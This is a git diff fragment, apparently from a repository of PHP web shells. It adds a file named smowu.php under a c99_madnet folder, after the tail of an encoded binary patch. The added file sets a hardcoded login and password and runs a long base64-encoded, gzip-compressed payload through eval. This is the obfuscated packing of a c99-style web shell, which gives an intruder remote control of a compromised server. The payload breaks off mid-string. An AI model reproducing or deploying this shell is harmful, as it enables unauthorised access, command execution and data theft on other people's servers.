z5wHN%;D#^hQA>(tr;t~V!zu@edPR=^u0(JRsAAk4r^#R6a|N#`FS>M`F$%TB_^j`O zM3W~#@15r0V6^x_(aXn^=4(0|-ifl&zm$oCkA<TL2(6|8n}E<)*lefr$pFBYuw(f! zBqszzOZyGF#5gUFxE73B$<E#Squr)8xa4n*keMP>c9-)J!sqlEcH26_C|h2)l))~i zH+sb!6<--fe3sXxhWe_SX%vb<)5@-Lw_;L7$r;YK9B1PlaTeG{wvs2@QH9bBer>$q zK;2P6^1=JA?+Sn~4e%44YxA2mI)h`{?LrWDD2pFjmKC<-FZM6EJn_oiy0`z(jggU9 zr?;-9br5d;*Gm%nQMcV4Gcun?Vg|Y=ty061l0^4USO0i+2c+*FIR5C{9HKLK9+=qv zcE{+D{Mi6V`Av;@!r~hGobi7Y2yGjwEU)OCeo%2o+Y`r1OFXd;G56GSu(sKgzvJP3 z8HyR<ppm-e!G>4*gO*pHOy|FeJ2(`OL-eGQ;Sm)PnX#-8ic01)8?c+jVI%qVq%Q(3 zRMRsGC)GsBUj3(<N25lj$%<sx`gDfn>w!6MAD)fe1bD{Q&XqtNp`yrpSPMc{)f{<j z+^XHq*W?C<d10kHUCmPVchY~vdh($=D3r{S2Ny>8%aeR@aYCV+g;(+23+a_)?ay`{ ztF#{>%QA8G4C%%xXz4_kvmN0o#B^>Jr@+<wfScU!mmbkj^YzN$c;z4q&7P;#A+7Vm zhtr7N%AMom;2wbrMwoeqp<0xV<OAsYtm0BABS<gp4yPvo-{ZasYVYwc7Z__|efZX8 zdpzKz`>FXs3Vse}2mLtL7jy&0sj5j*^-_S$MY+b2>8}KluxQD$-7e5YT(+!$n0PIP zgd)k-SbI5hn!+n}8C85TdF%Vx*ulyf=#$0GzZgM&H7CcDjdCg8{x{9vG#!sc))Vzj zBvJBk({#QBe!vTB=)*Olx5!jW`9?XxZnvLIrPi89MI`sQ|A>*w1UFt=3%oYehq#5{ z4v7yJ^fw2qb{A7_%C7hZsunqie0X@?+2H<*k@y_Y^kOgAkV7&8c%fhCUKD7&mS?ao zFfutP!dx|5{54D-26ZhWCX#C&Q|oA+1-)a5S_NU*0XZd9&_1VR>_Q*J3~Pq`5J_>m z{N`qMLL9O?6j(5&=S$`W2j4V1RF>V@+f(-O%DTfnwW6VL{V=Jc*!w%DLlj;zXy~=r zL)32&SAdyvU13f1)blBj=vBzECI|~bwxGczr^#xsm8-DRCor#%h0W5j^u-Z%aM-&S z-yUxMuH>3c#%#EGikmTTZq<;-Or4LA8xT`Pn+T1R#SS}&gq*jJ1Mcr$NAj}5;f`uj zU$9)`CHpJmU6S1?BMrRTq^?Je9HQYy!X`*KH@fyP0l<?rvR>pX^^Z?^`L8@*=LXD{ zESPMGnlF&#4(O(bP2C;gdTU7oUlmGir@mAOtt?~Emn_=t!s(o5nN2>Az@p2pV4F}@ z{QZT}WBn62npXFmsVDl&xDm%^^mK;+Sq(K+Dc#^37I8@S^*q#cDq(9$(uEtd<`_?X zS%Z?e-OdMj6&fZ__|YI~G?Zy^2>LjJQV0H6MFQ8T_{T_}rls+#G}TC!6Av!M=U@(V ztoIMhno1L{yp3~Zx1?zi^$N)^O{SihdJ<TrvWyKk%^U`ThvJe8g3QU=Z#;<LX!Pb+ z*QDj8xJz~Dd)^*~Zl4eX?XUG|0zy_sYKZo3nton!5Xv}9*sk}8W>Pc18;OwDn8@`O z=&F&O7`}NUM1+yui-mHR1LYkiz@^*DN=WY;Jd|aXe`mjr6ZPzU_bi!Rm+_oTgI7H` zHW@WUvU}G1RZ97K061??;~65YTX-e>dKEYHFlnVXRMk4LKrhl!F=50D`vNLEx?OlB zZYdP#2F$sMCm#kL3Fdz@WOUR4_+44#(cDD6PR11oGau8`<;A-%;);qM=LwkFmL#!K z4sn9gBqwNnBZZiPEc4q|U+0Q_gg3>T{U7yZMj9>59P6|0sJ&BaA2jGOclKm_|Ao}S z+O<M_*oJyb%${ihO^3U2H*^!5bj?mR&1eKj$BwqiScvHty`fPZ<19}{8F`;By*G*2 z>UFZ&5I=f3=;z;V#rXCEhv)4`_RND3lP^4F7#i<wH2fr6GvyT{F2y8IsxPlU3>RKv z(*@yEcB+|x`R6{GRnQ3cKx~dknLiJ$qfeE9phjNcX{Z4!QH8aZ6+V0dEzsT&4gL8i zzy>8^=I53sFDzk}Sfr(46Zncd75cb_y;yG|-{PT1-9qQnsagx?i|GX>JRr(}Z(N2C z#_*7GMS~mprb&B;Uki3#BhY74h<XqB_Dj>=An5YbvI5X;Rowu&zCDgv^7o%7l*1&~ z87L;t3oE(x4~NkzzDbL&4O2`Sw^NPB4iko;2dwK%bsZRLBcw=^%KFV^+MBUYq1_JR z2jTO~^;X@I=<uR8gFxN%k+&C@753y)M0z<{2p}^**%5pkyOpXdJ3>h@CcL%4ED6wZ z4O{m7XN09uEV!iH!A`{nI82gcw}Y|J60l1}Uu!qZKivr3!IWXKbNHp~mn30YGbB(3 zcs{7z?i>v<^>#52mZF)92R*W?O}`zH?*-K-20fXu%_WLZ32?m45xrtVkZ^w`E}ueP zT+9QdrEhC$o*T{VoEPRVZMt>+wBQRysFXDB)C&Ly<OGD!Vel$|o1Nh`k{t)Ft1=GG z!Ex|W=ChFGP=&3Xj~o=j;5*s$Ipn*?L0f#Uw*NZo7j+R$7_3uq`xZ;g;9mHgQr7rt z>0-0sN>>nl-bQA&tZ+u|0))?Wp^HnVbl(u>^5RLK__>|T2uDglq95>pG?NDtU)qDW z)XyO<=?dv3%_Hr7KtD`IqZ@DI0T0azj(3>0ZRv{<z8`y*xL~Ot(#txQexP-2qt5}a z0h;SqrA3&Hk%g{&v*rdl+NmbcBs6X(+LXGr$Y8D<Eg|mQOaa=XS=<3yZb&vy+spRK zG8{PWjrib~N|El4?PQ0_D+~Jc=q0mXt2U0EKD{SXH}alszvh*`hJs=T#r;eVamK@v zhu9qtc4Q6(7#E+Z!R$9pv9^4B^r7!58yV|MRo%y?&L<l{_^wW}4_$?n;sghRJ!Y7R zsI7zmZ=)xt(L*0_Mp?OTzmde*&;U{A1X{d__>dnOwNrd*Z?o3Uv|6*;wIVv_$bz#g zbTwa0ceWSP#cCh#RJ~FY{Ui1Vo<G?taV+*gx_?6i!SJYrMz;k1w}Z8m;g7*;B-xS2 zYe>^s{#QWPi7FLm8x}l3Nck!bbXgMkpHg9j@Cw6^0@~KE)dQKjAL6JwZ>wM({`$JN zx2+)FwaBPThj5=`JHH*5k4W0>02ZV}0u>r^N}8a>Cvg1giXsKCqSwvkH$8fqXWfuw zZP3vds7*X&^(ZPQ@!Z9lJDb0m@{WwyT<7jy-bD?~ukA8^bSl64Sz2z2JG=Xr6!eIl z>K){C>{Z&lwLeEq79$G+%CQ8*S`Q9(d9MK;clVbJ=~u?kf;Eb$_pozxX;T%3GI=ic zAKg@AtC*sI<ELLQ?auQrL`UUsTUM}tmZA}u8$V#N&EDxm^3V3F4|(oQ7L25dIi<+3 z)7{hv{F<Kn?&6Bpsf6^w{$lyvADcC{DsS9#ZFFq{s>0dTCK9OCd(u{!eHZ1aE{Ixe zjPxHGEPu@HbNL}kUK$)RR@pxvJAZQ|PW?5j^uTrLlMQdy$6n!e!iPnTZ0V<`2;BNX zqG2|r*<|WLF3ec$0&~PuiU=U08XzY%umhy#$yKmYvE>`q*y4Qc?Myn0RWta!waBco z_%b51`+FpiYG)4tq^JOj6#m!GzjoTNQ&9{hnRh>Q&h0%+qO>|w#OtwrtXD=OpM3g_ Zo$9=pG~C=xsqjt2U!;o9EK!zw{{udXFB1R& literal 0 HcmV?d00001 diff --git a/php/PHPshell/【c99_madnet】/smowu.php b/php/PHPshell/【c99_madnet】/smowu.php new file mode 100644 index 0000000..92ac161 --- /dev/null +++ b/php/PHPshell/【c99_madnet】/smowu.php @@ -0,0 +1,7 @@ +<?PHP + //Authentication +$login = "smowu"; //Login +$pass = "smowu"; //Pass +$md5_pass = ""; //If no pass then hash +eval(gzinflate(base64_decode('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